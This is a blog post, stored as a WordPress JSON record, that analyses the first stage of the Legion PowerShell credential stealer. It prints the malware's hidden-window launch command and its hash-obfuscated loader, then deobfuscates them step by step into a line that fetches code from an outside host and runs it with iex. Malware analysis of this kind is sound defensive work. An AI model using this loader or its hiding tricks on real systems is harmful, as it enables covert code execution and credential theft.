{"id":1135,"date":"2019-11-29T18:53:05","date_gmt":"2019-11-29T23:53:05","guid":{"rendered":"https:\/\/stacyprowell.com\/blog\/?p=1135"},"modified":"2019-11-30T09:49:22","modified_gmt":"2019-11-30T14:49:22","slug":"picking-apart-the-legion-powershell","status":"publish","type":"post","link":"https:\/\/stacyprowell.com\/blog\/2019\/11\/29\/picking-apart-the-legion-powershell\/","title":{"rendered":"Picking Apart the Legion PowerShell"},"content":{"rendered":"\n<p>Kindred Security does a great job of pulling apart the Legion PowerShell credential stealer on YouTube, but I thought I would do a little more work to break down the PowerShell commands used in all their gory detail.<\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Malware Analysis | Legion Credential Stealer\/Backdoor [PowerShell]\" width=\"840\" height=\"473\" src=\"https:\/\/www.youtube.com\/embed\/aj56VYpbhzQ?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<p>If you haven&#8217;t watched Kindred Security&#8217;s video, go do it now.  It should be linked above.  I&#8217;ll wait.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2>Stage One<\/h2>\n\n\n\n<p>Everything starts with <code>legion.ps1<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cmd.exe \/c start \/B powershell -windowstyle hidden -command \"&amp;{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#\/\/legion1488.info\/leg#ion1#7#\/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&amp;$t[0]$t[1]}\"<\/code><\/pre>\n\n\n\n<p>Let&#8217;s pick this apart.  First, the script runs <code>cmd.exe<\/code>.  This starts the usual command shell on Windows, but with several options.  To understand those options you can head to the Microsoft documentation or, possibly, head to <a href=\"https:\/\/ss64.com\/\">SS64<\/a>.  You can find the documentation specifically for <code>cmd.exe<\/code> <a href=\"https:\/\/ss64.com\/nt\/cmd.html\">here<\/a>.<\/p>\n\n\n\n<p>The <code>\/c start<\/code> runs the <code>start<\/code> command and then exits.  That means the rest of the options are passed to the <code>start<\/code> command, documented <a href=\"https:\/\/ss64.com\/nt\/start.html\">here<\/a>.  This command starts a new window and then runs a program in that window.   The <code>\/B powershell<\/code> option tells the <code>start<\/code> command to not open a new window and to run the command <code>powershell<\/code>.  The remaining options are passed to the <code>powershell<\/code> command, documented <a href=\"https:\/\/ss64.com\/ps\/powershell.html\">here<\/a>.<\/p>\n\n\n\n<p>If you run <code>cmd.exe \/c start \/B powershell<\/code> at a PowerShell prompt, you&#8217;ll just end up in a nested PowerShell instance.  So&#8230; why do that?  Well, one reason is that whether you run this in a Command Shell or in a PowerShell, you&#8217;ll end up in a PowerShell, with no new, possibly suspicious, windows appearing.<\/p>\n\n\n\n<p>Now the actual PowerShell command can run.  The options are <code>-windowstyle hidden<\/code> (which is self-explanatory) and <code>-command<\/code>, followed by the command to run, which we will pick apart later.  For now, let&#8217;s take another look at what happens when the command runs.<\/p>\n\n\n\n<p>Close all command windows, open the Task Manager with CTRL+ALT+DEL, then open a single new PowerShell window. You should see the instance appear in the &#8220;Apps&#8221; list.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"681\" height=\"96\" src=\"https:\/\/stacyprowell.com\/blog\/wp-content\/uploads\/2019\/11\/Annotation-2019-11-29-140452.png\" alt=\"\" class=\"wp-image-1136\" srcset=\"https:\/\/stacyprowell.com\/blog\/wp-content\/uploads\/2019\/11\/Annotation-2019-11-29-140452.png 681w, https:\/\/stacyprowell.com\/blog\/wp-content\/uploads\/2019\/11\/Annotation-2019-11-29-140452-300x42.png 300w\" sizes=\"(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px\" \/><figcaption>PowerShell running<\/figcaption><\/figure>\n\n\n\n<p>Now run the following command in the PowerShell window.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cmd.exe \/c start \/B powershell -windowstyle hidden -command \"dir\"<\/code><\/pre>\n\n\n\n<p>Did the window vanish?  That&#8217;s because it is now <em>hidden<\/em>.  You can run this from a nested shell inside a window, and the <em>containing <\/em>window will be hidden.  Check the process listing; it should be gone from the &#8220;Apps&#8221; list, but you can find it in the &#8220;Background Processes&#8221; list.  Stealthy stuff.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"674\" height=\"169\" src=\"https:\/\/stacyprowell.com\/blog\/wp-content\/uploads\/2019\/11\/Annotation-2019-11-29-140452-2.png\" alt=\"\" class=\"wp-image-1138\" srcset=\"https:\/\/stacyprowell.com\/blog\/wp-content\/uploads\/2019\/11\/Annotation-2019-11-29-140452-2.png 674w, https:\/\/stacyprowell.com\/blog\/wp-content\/uploads\/2019\/11\/Annotation-2019-11-29-140452-2-300x75.png 300w\" sizes=\"(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px\" \/><figcaption>The PowerShell process is now in the background<\/figcaption><\/figure>\n\n\n\n<p>You can find the Console Windows Host process in &#8220;Windows processes.&#8221;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"673\" height=\"113\" src=\"https:\/\/stacyprowell.com\/blog\/wp-content\/uploads\/2019\/11\/Annotation-2019-11-29-140452-3.png\" alt=\"\" class=\"wp-image-1139\" srcset=\"https:\/\/stacyprowell.com\/blog\/wp-content\/uploads\/2019\/11\/Annotation-2019-11-29-140452-3.png 673w, https:\/\/stacyprowell.com\/blog\/wp-content\/uploads\/2019\/11\/Annotation-2019-11-29-140452-3-300x50.png 300w\" sizes=\"(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px\" \/><\/figure>\n\n\n\n<p>You can (and should) kill off both processes.<\/p>\n\n\n\n<p>I think this is a bit of overkill, and that the initial <code>cmd.exe \/c start<\/code> is not needed&#8230; but I could certainly be wrong.  Feel free to comment and let me know.<\/p>\n\n\n\n<h2>Obfuscation<\/h2>\n\n\n\n<p>Like any good malicious payload, this one is obfuscated.  The command that is executed is in double quotation marks, which we remove here.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&amp;{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#\/\/legion1488.info\/leg#ion1#7#\/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&amp;$t[0]$t[1]}<\/code><\/pre>\n\n\n\n<p>Next is the <code>&amp;{ ... }<\/code> or &#8220;call&#8221; structure.  This just tells PowerShell to interpret the thing inside the braces as a command to execute.  Read about it <a href=\"https:\/\/ss64.com\/ps\/call.html\">here<\/a>.  We can unwrap that, and note that semicolons (<code>;<\/code>) join multiple commands on a single line.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#\/\/legion1488.info\/leg#ion1#7#\/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5)\n&amp;$t[0]$t[1]<\/code><\/pre>\n\n\n\n<p>Don&#8217;t worry about the second line just yet.<\/p>\n\n\n\n<p>The first line defines a variable <code>$t<\/code>.  This variable is a string, consisting of the characters inside the single quotation marks&#8230; with one exception.  A pair of single quotation marks (<code>''<\/code>) becomes a single quotation mark (that&#8217;s how you &#8220;escape&#8221; single quotation marks in a string).  Thus the string is as follows.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#'h#t#tp#:#\/\/legion1488.info\/leg#ion1#7#\/#w#el#co#me'#,#'H#or#seHo#urs''#)#|#i#e#x<\/code><\/pre>\n\n\n\n<p>A method is then invoked on the string: <code>replace('#','')<\/code>, documented <a href=\"https:\/\/ss64.com\/ps\/replace.html\">here<\/a>.  This replaces every hash mark with the empty string and gives the following.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>iex@(new-object Net.WebClient).UploadString('http:\/\/legion1488.info\/legion17\/welcome','HorseHours')|iex<\/code><\/pre>\n\n\n\n<p>This is certainly much more readable.  Next, another method is invoked: <code>split('@',5)<\/code>, documented <a href=\"https:\/\/ss64.com\/ps\/split.html\">here<\/a>.  There is nothing special about the 5; it could be any number greater than one to specify the maximum number of lines.  This just splits the line at the at symbol (<code>@<\/code>) and yields an array of two lines, <code>$t[0]<\/code> and <code>$t[1]<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$t[0] = \"iex\"\n$t[1] = \"(new-object Net.WebClient).UploadString('http:\/\/legion1488.info\/legion17\/welcome','HorseHours')|iex\"<\/code><\/pre>\n\n\n\n<p>Now the last line of the script might make more sense.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&amp;$t[0]$t[1]<\/code><\/pre>\n\n\n\n<p>We substitute and obtain the following.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&amp;iex(new-object Net.WebClient).UploadString('http:\/\/legion1488.info\/legion17\/welcome','HorseHours')|iex<\/code><\/pre>\n\n\n\n<p>The leading ampersand (&amp;) just results in the concatenated string being interpreted.<\/p>\n\n\n\n<h2>Executing<\/h2>\n\n\n\n<p>The Kindred Security video does a great job explaining what happens next, with another file being downloaded (<code>welcome.ps1<\/code>) and executed, so I recommend you watch the video for the rest of the story.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kindred Security does a great job of pulling apart the Legion PowerShell credential stealer on YouTube, but I thought I would do a little more work to break down the PowerShell commands used in all their gory detail. If you haven&#8217;t watched Kindred Security&#8217;s video, go do it now. It should be linked above. I&#8217;ll &hellip; <a href=\"https:\/\/stacyprowell.com\/blog\/2019\/11\/29\/picking-apart-the-legion-powershell\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Picking Apart the Legion PowerShell&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[4,5],"_links":{"self":[{"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/posts\/1135"}],"collection":[{"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/comments?post=1135"}],"version-history":[{"count":2,"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/posts\/1135\/revisions"}],"predecessor-version":[{"id":1141,"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/posts\/1135\/revisions\/1141"}],"wp:attachment":[{"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/media?parent=1135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/categories?post=1135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/stacyprowell.com\/blog\/wp-json\/wp\/v2\/tags?post=1135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}